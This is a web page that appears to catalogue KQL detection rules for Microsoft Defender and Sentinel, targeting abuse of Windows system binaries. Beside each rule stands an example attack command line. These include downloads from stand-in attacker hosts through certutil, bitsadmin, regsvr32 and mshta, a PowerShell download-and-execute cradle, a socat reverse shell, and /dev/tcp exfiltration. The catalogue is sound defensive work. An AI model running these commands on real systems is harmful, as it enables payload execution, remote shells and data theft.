KQL RepositoryLog Targets: DeviceProcessEvents, DeviceNetworkEvents521 Verified Rules

Microsoft Defender & Sentinel (Kusto Query Language)

Kusto Query Language queries optimized for Microsoft Defender XDR Advanced Hunting and Microsoft Sentinel. Rules filter by process names, weaponized parameters, and parent process anomalies.

Copy-paste verified syntax tested across Windows Sysmon, Security Audit 4688, and Unix auditd logs.

OS:

Tactic:

KQL Rule Catalog

Showing 1–25 of 521 rules

Windowscertutil.exeDownload

MITRE T1105

Download an executable payload from a remote URL to the user temporary directory, bypassing browser security controls.

certutil.exe -urlcache -split -f http://example.com/payload.exe %TEMP%\update.exe

certutil.exe • KQL Rulekql

1DeviceProcessEvents
2| where FileName =~ "certutil.exe"
3| where ProcessCommandLine has_any ("-urlcache", "/urlcache") and ProcessCommandLine has_any ("-split", "/split", "-f", "/f")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Windowscertutil.exeDefense Evasion

MITRE T1140

Decode a Base64-encoded file into a binary executable on disk to bypass perimeter inspection mechanisms.

certutil.exe -decode %TEMP%\encoded.txt %TEMP%\beacon.exe

certutil.exe • KQL Rulekql

1DeviceProcessEvents
2| where FileName =~ "certutil.exe"
3| where ProcessCommandLine has_any ("-decode", "/decode", "-decodehex", "/decodehex")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Windowsmshta.exeExecute

MITRE T1218.005

Executes inline VBScript code via mshta to spawn a hidden PowerShell process and run memory-resident payloads.

mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell.exe -nop -w hidden -enc JAB...="",0"))

mshta.exe • KQL Rulekql

1DeviceProcessEvents
2| where FileName =~ "mshta.exe"
3| where ProcessCommandLine has_any ("vbscript:", "javascript:", "about:", "http://", "https://")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Windowsmshta.exeExecute

MITRE T1218.005

Fetch and execute an HTML application payload directly over HTTP without saving the payload as a recognized executable file.

mshta.exe http://malicious.domain/payload.hta

mshta.exe • KQL Rulekql

1DeviceProcessEvents
2| where FileName =~ "mshta.exe"
3| where ProcessCommandLine has_any ("http://", "https://")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Windowsrundll32.exeExecute

MITRE T1218.011

Execute remote scriptlet code via javascript protocol calling mshtml.dll RunHTMLApplication export.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/payload.sct")

rundll32.exe • KQL Rulekql

1DeviceProcessEvents
2| where FileName =~ "rundll32.exe"
3| where ProcessCommandLine has_any ("javascript:", "vbscript:", "mshtml", "RunHTMLApplication")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Windowsrundll32.exeExecute

MITRE T1218.011

Execute an exported entrypoint function inside a dropped DLL located in an untrusted directory.

rundll32.exe C:\Users\Public\malware.dll,StartW

rundll32.exe • KQL Rulekql

1DeviceProcessEvents
2| where FileName =~ "rundll32.exe"
3| where ProcessCommandLine has_any ("C:\\Users\\Public\\", "C:\\Users\\", "C:\\ProgramData\\", "\\AppData\\Local\\Temp\\")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Windowsbitsadmin.exeDownload

MITRE T1197

Creates a high-priority background transfer job to download a remote payload into the Windows Temp folder.

bitsadmin.exe /transfer myJob /download /priority foreground http://c2.evil.com/implant.exe C:\Windows\Temp\implant.exe

bitsadmin.exe • KQL Rulekql

1DeviceProcessEvents
2| where FileName =~ "bitsadmin.exe"
3| where ProcessCommandLine has_any ("/transfer", "/create", "/addfile") and ProcessCommandLine has_any ("http://", "https://")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Windowsregsvr32.exeExecute

MITRE T1218.010

Execute remote scriptlet payload from a web server via scrobj.dll, bypassing application whitelisting and registry changes.

regsvr32.exe /s /n /u /i:http://attack.server/payload.sct scrobj.dll

regsvr32.exe • KQL Rulekql

1DeviceProcessEvents
2| where FileName =~ "regsvr32.exe"
3| where ProcessCommandLine has_any ("/i:http://", "/i:https://", "scrobj.dll")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Windowspowershell.exeExecute

MITRE T1059.001

Bypasses execution policy, creates a web client, downloads a remote script directly into memory, and evaluates it with Invoke-Expression.

powershell.exe -nop -w hidden -ep bypass -c "IEX ((New-Object Net.WebClient).DownloadString('http://c2.server/stage2.ps1'))"

powershell.exe • KQL Rulekql

1DeviceProcessEvents
2| where FileName in~ ("powershell.exe", "pwsh.exe")
3| where ProcessCommandLine has_any ("DownloadString", "Net.WebClient", "IEX", "Invoke-Expression")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Windowspowershell.exeDefense Evasion

MITRE T1059.001

Executes a Unicode Base64-encoded command string to evade command-line pattern matching.

powershell.exe -noni -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==

powershell.exe • KQL Rulekql

1DeviceProcessEvents
2| where FileName in~ ("powershell.exe", "pwsh.exe")
3| where ProcessCommandLine has_any ("-enc", "-EncodedCommand", "/enc", "/EncodedCommand")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Windowswmic.exeExecute

MITRE T1047

Abuses WMIC process call create to launch child processes with WmiPrvSE.exe as parent, breaking normal process lineage.

wmic.exe process call create "powershell.exe -w hidden -enc ..."

wmic.exe • KQL Rulekql

1DeviceProcessEvents
2| where FileName =~ "wmic.exe"
3| where ProcessCommandLine has_all ("process", "call", "create")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Windowscscript.exeExecute

MITRE T1059.005

Runs a VBScript quietly without banner or user alerts from a temporary location.

cscript.exe //B //Nologo %TEMP%\recon.vbs

cscript.exe • KQL Rulekql

1DeviceProcessEvents
2| where FileName in~ ("cscript.exe", "wscript.exe")
3| where ProcessCommandLine has_any ("\\Temp\\", "\\AppData\\", "\\Public\\")
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

WindowsAddinUtil.exeExecute

MITRE T1218

AddinUtil is executed from the directory where the 'Addins.Store' payload exists, AddinUtil will execute the 'Addins.Store' payload.

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.

AddinUtil.exe • KQL Rulekql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Execute
3DeviceProcessEvents
4| where FileName =~ "AddinUtil.exe"
5| where ProcessCommandLine has_any ("AddinUtil")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

WindowsAppInstaller.exeDownload

MITRE T1105

AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.

start ms-appinstaller://?source={REMOTEURL:.exe}

AppInstaller.exe • KQL Rulekql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Download
3DeviceProcessEvents
4| where FileName =~ "AppInstaller.exe"
5| where ProcessCommandLine has_any ("AppInstaller")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

WindowsApplaunch.exeDefense Evasion

MITRE T1127.002

Launches a ClickOnce application via `Applaunch.exe`. Bypasses SmartScreen and default AppLocker rules when the application is published as partial trust.

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"

Applaunch.exe • KQL Rulekql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Defense Evasion
3DeviceProcessEvents
4| where FileName =~ "Applaunch.exe"
5| where ProcessCommandLine has_any ("Applaunch")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

WindowsAspnet_Compiler.exeDefense Evasion

MITRE T1127

Execute C# code with the Build Provider and proper folder structure in place.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u

Aspnet_Compiler.exe • KQL Rulekql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Defense Evasion
3DeviceProcessEvents
4| where FileName =~ "Aspnet_Compiler.exe"
5| where ProcessCommandLine has_any ("Aspnet_Compiler")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

WindowsAt.exeExecute

MITRE T1053.002

Create a recurring task to execute every day at a specific time.

C:\Windows\System32\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}

At.exe • KQL Rulekql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Execute
3DeviceProcessEvents
4| where FileName =~ "At.exe"
5| where ProcessCommandLine has_any ("At")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

WindowsAtbroker.exeExecute

MITRE T1218

Start a registered Assistive Technology (AT).

ATBroker.exe /start malware

Atbroker.exe • KQL Rulekql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Execute
3DeviceProcessEvents
4| where FileName =~ "Atbroker.exe"
5| where ProcessCommandLine has_any ("Atbroker")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

WindowsBash.exeExecute

MITRE T1202

Executes executable from bash.exe

bash.exe -c "{CMD}"

Bash.exe • KQL Rulekql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Execute
3DeviceProcessEvents
4| where FileName =~ "Bash.exe"
5| where ProcessCommandLine has_any ("Bash")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

WindowsBash.exeExecute

MITRE T1202

Executes a reverse shell

bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"

Bash.exe • KQL Rulekql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Execute
3DeviceProcessEvents
4| where FileName =~ "Bash.exe"
5| where ProcessCommandLine has_any ("Bash")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

WindowsBash.exeExecute

MITRE T1202

Exfiltrate data

bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'

Bash.exe • KQL Rulekql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Execute
3DeviceProcessEvents
4| where FileName =~ "Bash.exe"
5| where ProcessCommandLine has_any ("Bash")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

WindowsBash.exeDefense Evasion

MITRE T1202

Executes executable from bash.exe

bash.exe -c "{CMD}"

Bash.exe • KQL Rulekql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Defense Evasion
3DeviceProcessEvents
4| where FileName =~ "Bash.exe"
5| where ProcessCommandLine has_any ("Bash")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

WindowsBash.exeExecute

MITRE T1218

When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.

bash.exe

Bash.exe • KQL Rulekql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Execute
3DeviceProcessEvents
4| where FileName =~ "Bash.exe"
5| where ProcessCommandLine has_any ("Bash")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

WindowsCertOC.exeExecute

MITRE T1218

Loads the target DLL file

certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}

CertOC.exe • KQL Rulekql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Execute
3DeviceProcessEvents
4| where FileName =~ "CertOC.exe"
5| where ProcessCommandLine has_any ("CertOC")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

WindowsCertOC.exeDownload

MITRE T1105

Downloads text formatted files

certoc.exe -GetCACAPS {REMOTEURL:.ps1}

CertOC.exe • KQL Rulekql

1// Microsoft Defender XDR / Microsoft Sentinel
2// Tactic: Download
3DeviceProcessEvents
4| where FileName =~ "CertOC.exe"
5| where ProcessCommandLine has_any ("CertOC")
6| project
7    Timestamp,
8    DeviceName,
9    AccountName,
10    InitiatingProcessParentFileName,
11    InitiatingProcessFileName,
12    InitiatingProcessCommandLine,
13    FileName,
14    FolderPath,
15    ProcessCommandLine,
16    MD5,
17    SHA256
18| sort by Timestamp desc

Page 1 of 21 (521 total rules)

Explore Other SIEM & EDR Detection Formats

Sigma YAML v2 Standard Detection Rules

Universal Sigma YAML rule definitions conforming to the SigmaHQ v2 specification. Designed for automated compilation to Sentinel, Splunk, Elastic, QRadar, and CrowdStrike via pySigma.

Splunk Enterprise Security (SPL) Query Collection

Production-ready Splunk Search Processing Language (SPL) searches targeting endpoint execution telemetry from Windows Sysmon, Security Audit 4688, and Linux auditd logs.

Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

LinkedIn Profile Methodology & Papers